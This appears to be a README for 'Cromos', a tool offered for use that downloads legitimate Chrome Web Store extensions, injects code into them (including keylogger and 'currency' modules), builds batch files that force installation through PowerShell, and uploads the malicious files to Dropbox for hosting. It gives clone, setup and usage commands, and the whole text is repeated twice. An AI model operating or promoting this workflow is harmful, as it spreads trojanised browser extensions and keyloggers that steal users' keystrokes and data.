Cromos is a tool for downloading legitimate extensions of the Chrome Web Store and inject codes in the background of the application and more cromos create executable files to force installation via PowerShell for example, and also upload files to dropbox to host the malicious files.
Download extension
Injections
Upload files on dropbox
Windows infection
Installation
Code:
$ cd $HOME/
$ git clone https://github.com/fbctf/cromos
$ sudo chmod -R 777 cromos/
$ cd cromos && python setup.py
Usage
Downloading the extension
Usage: python cromos.py --extension {id}
Downloading the extension and loading module
Usage: python cromos.py --extension {id} --load {currency/keylogger}
Build a batch file and upload the files in dropbox
Usage: python cromos.py --extension {id} --build {bat} --token {dropboxToken}
Download extension
Injections
Upload files on dropbox
Windows infection
Installation
Code:
$ cd $HOME/
$ git clone https://github.com/fbctf/cromos
$ sudo chmod -R 777 cromos/
$ cd cromos && python setup.py
Usage
Downloading the extension
Usage: python cromos.py --extension {id}
Downloading the extension and loading module
Usage: python cromos.py --extension {id} --load {currency/keylogger}
Build a batch file and upload the files in dropbox
Usage: python cromos.py --extension {id} --build {bat} --token {dropboxToken}